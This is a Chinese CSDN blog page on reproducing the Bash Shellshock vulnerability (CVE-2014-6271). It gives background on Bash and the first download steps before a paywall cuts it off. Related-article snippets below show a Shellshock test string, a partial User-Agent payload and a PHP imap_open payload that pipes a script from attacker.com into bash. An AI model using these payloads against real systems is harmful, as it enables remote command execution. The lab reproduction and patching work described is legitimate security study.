Bash Shellshock CVE-2014-6271 漏洞复现

最新推荐文章于 2024-05-28 13:53:41 发布
最新推荐文章于 2024-05-28 13:53:41 发布
阅读量381 收藏
点赞数
文章标签： Bash Shellshock漏洞  CVE-2014-6271 操作系统 CentOS
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43144118/article/details/103006461
版权
本文介绍了Bash Shellshock CVE-2014-6271漏洞，详细阐述了Bash的背景及其在GNU/Linux系统中的重要性。通过复现漏洞，展示了当环境变量的值以"() {"开头时，如何导致意外函数执行的安全问题。并对漏洞进行了深入分析，指出问题源自Bash允许通过环境变量定义函数的功能。
摘要由CSDN通过智能技术生成

Bash Shellshock CVE-2014-6271 漏洞复现

Bash介绍

Bourne Again Shell（简称BASH）是在GNU/Linux上最流行的SHELL实现，于1980年诞生，经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。
根据维基百科的描述：Bash，Unix shell的一种。1989年发布第一个正式版本，原先是计划用在GNU操作系统上，但能运行于大多数类Unix系统的操作系统之上，包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW，或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。

漏洞复现

首先bash版本必须在4.1以前。
下载链接：http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载过程：

#wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
#tar xf bash-4.1.tar.gz
#cd bash-4.1
#./configure
最低0.47元/天 解锁文章
slq学不会操作系统
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
破壳漏洞（CVE-2014-6271）综合分析
jingshuishenlong的专栏
03-25 335
一、威胁卡片 二、概述 2014年9月24日Bash被公布存在远程代码执行漏洞，安天实验室安全研究与应急处理中心(以下简称：安天CERT)第一时间根据信息研判，确认该漏洞可以产生严重的后果，且分布广泛，于北京时间9月24日早晨5时30分启动了A级风险应急响应。 安天CERT针对该漏洞进行了严格地分析验证，确认该漏洞会影响目前主流的Linux和Mac OSX操作系统平台，包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等
幽灵（GHOST）的高危安全漏洞，GNU Bash 漏洞（CVE-2014-6271）
10-09
bash-4.1.2-15.el6_5.2.x86_64.rpm,glibc-2.12-1.149.el6_6.5.x86_64,glibc-common-2.12-1.149.el6_6.5.x86_64.rpm,bash-4.1.2-15.el6_5.2.x86_64.rpm
CVE-2014-6271 Shellshock 破壳漏洞 复现
weixin_30677475的博客
07-18 571
补坑。 什么是shellshock ShellShock是一个BashShell漏洞(据说不仅仅是Bash，其他shell也可能有这个漏洞). 一般情况来说，系统里面的Shell是有严格的权限控制的，如果没有相应的权限，是根本看不到某些命令的存在，更不要说执行这些命令。 但是，Bash在运行的过程中会调用操作系统的环境变量，并且会执行一些设置命令。通过ShellShock漏洞，入侵者可...
Bash Bug（破壳漏洞，Shellshock） - CVE-2014-6271
最新发布
HaSaKing的博客
05-28 449
破壳漏洞是对全球数以百万计的系统构成威胁的严重安全漏洞。通过理解其原理并学习如何检测和修补，您可以显著提高自己系统的安全性。始终保持系统和软件的最新状态是保护自己免受此类漏洞攻击的关键策略。
vulhub漏洞复现之bash（Shellshock CVE-2014-6271）
weixin_43071873的博客
11-27 1242
Shellshock 破壳漏洞 CVE-2014-6271 1.漏洞概述： GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码，在shell被调用后会被立即执行。 2.漏洞影响：GNU Bash <= 4.3
CVE-2014-6271-bash shellshock-破壳漏洞复现
m0_62008601的博客
08-06 2972
这些变量可以包含代码，在shell被调用后会被立即执行。用docker搭建vulhub漏洞靶场，服务启动后，有两个页面http://192.168.217.134:8080/victim.cgi和http://192.168.217.134:8080/safe.cgi。可以看到错误原因都是permission denied，那就是权限不足的原因了，那我们就修改一下权限，让它能够被访问。既然在victim.cgi可以执行命令，那么应该就可以进行反弹shell了，kali开启端口监听，执行反弹shell命令。.
Shellshock破壳突破（CVE-2014-6271）复现
willow_liang的博客
04-15 340
1.使用vluhub的环境进行复现 docker-compose build docker-compose up -d docker ps 环境生成后会有两个页面。http://192.168.0.105:8080/victim.cgi 和 http://192.168.0.105:8080/safe.cgi 其中safe.cgi是最新版bash生成的页面，viceim.cgi是bash4.3生成的页面，使用payload访问victim.cgi User-Agent: () { foo; };
CVE-2014-7169 漏洞更新
10-23
已成功更新Red Hat Enterprise Linux Server release 5.5 (Tikanga)。
shellshocker-python:这是一个 Python 应用程序，可帮助您检测运行 bash 的计算机是否存在 CVE-2014-6271 漏洞
06-23
Shellshocker 是一个著名的安全漏洞，发生在 2014 年，具体称为 CVE-2014-6271，也被称作“Bash 漏洞”或“Shellshock 漏洞”。这个漏洞影响了广泛使用的 Unix 和 Linux 系统中的 Bash（Bourne-Again SHell）命令...
破壳漏洞(ShellShock)红帽最新补丁(29日上午更新)
09-29
从红帽更新服务器上下载下来的，里面包含 RedHat5 X86:bash-3.2-33.el5_11.4.i386.rpm RedHat5 X86_64:bash-3.2-33.el5_11.4.x86_64.rpm bash-debuginfo-3.2-33.el5_11.4.x86_64.rpm RedHat6 X86:bash-4.1.2-15.el6_5.2.i686.rpm RedHat6 X86_64:bash-4.1.2-15.el6_5.2.x86_64.rpm bash-debuginfo-4.1.2-15.el6_5.2.x86_64.rpm bash-doc-4.1.2-15.el6_5.2.x86_64.rpm ----------------------------------------------------------- 验证命令: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 升级命令 rpm -Uvh XXXX.rpm 查看命令 rpm -qa | grep bash
ShellShock-CGI-Scan:用C语言编写的脚本，用于检查CGI脚本是否容易受到CVE-2014-6271的攻击（The Bash Bug）
05-25
用C语言编写的脚本，用于检查CGI脚本是否容易受到CVE-2014-6271（The Bash Bug）的攻击。 选项： -i (local ip-address) -p (port to listen) -l (site list) -t (connection timeout) (Default: 15s) 示例：$ ./...
CVE-2014-6271破壳(shellshock)漏洞复现记录
dengzhasong7076的博客
07-05 522
docker大法好 搭建环境： centos 6.6 x64 docker安装 看网上说docker需要内核3.8以上，而且只能运行在64位系统 centos 6.6内核低了一点，升级一下内核。 内核升级 a、升级内核 cd /etc/yum.repos.d wget http://www.hop5.in/yum/el6/hop5.repo yum install kernel-ml-a...
Shellshock远程命令注入 CVE-2014-6271 漏洞复现
ADummy的博客
03-04 671
Shellshock远程命令注入（CVE-2014-6271） by ADummy 0x00利用路线 ​ Burpsuite发包—>命令执行 0x01漏洞介绍 ​ CVE-2014-6271（即“破壳”漏洞）广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中，只要目标服务器开放着与Bash相交互的应用与服务，就有可能成功触发漏洞，获取目标系统当前Bash运行用户相同权限的shell接口 0x 02漏洞复现 当您访问时，http://your-ip/您应该看到两个文件： saf
cve-2014-6271 复现
PDblue的博客
04-12 1735
CVE-2014-6271，主要存在于 bash 1.14 - 4.3 版本中，受影响的 linux 系统包括：Red Hat 企业 Linux (versions 4 ~7) 、Fedora distribution、CentOS (versions 5 ~7)、Ubuntu 10.04 LTS,12.04 LTS 和 14.04 LTS、Debian 等。 使用vulhub搭建漏洞环境 访...
CVE-2014-6271漏洞复现
王嘟嘟的博客
01-16 3040
0x00 前言 要是平时我肯定不会想打去复现这个漏洞的，但是由于需要学习shellshock漏洞的利用，所以这里可以进行一下复现 0x01 正文 这里直接使用别人弄好的docker，简单又方便 docker pull hmlio/vaas-cve-2014-6271 下载完成之后，开启docker docker run -d -p 80:80 hmlio/vaas-cve-2014-6271 访问...
【研究】Shellshock 破壳漏洞bash命令执行（CVE-2014-6271）
god_Zeo的安全博客
09-03 1149
【研究】Shellshock 破壳漏洞（CVE-2014-6271）1.环境2.原理3.影响版本4.利用过程 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷，具体可以看说明，很简单 2.原理 目前的Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变...
CVE-2014-6271 Bash 安全漏洞 MAC OS X 10.9 修复过程
问天鼓的技术博客
09-26 1582
# CVE-2014-6271 Bash 安全漏洞 MAC OS X 10.9 修复过程 ## 检测 打开命令行，输入以下内容     env x='() { :;}; echo vulnerable'  bash -c "echo this is a test" 如果返回如下，则请尽快升级。     vulnerable                     
PHP 输入验证漏洞 CVE-2018-10547复现
10-24
以下是复现该漏洞的步骤： 1. 构造恶意IMAP服务器名称，包含“ -oProxyCommand”参数，例如：`127.0.0.1 -oProxyCommand="curl http://attacker.com/malicious.sh|bash"` 2. 在PHP中使用imap_open()函数连接IMAP...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值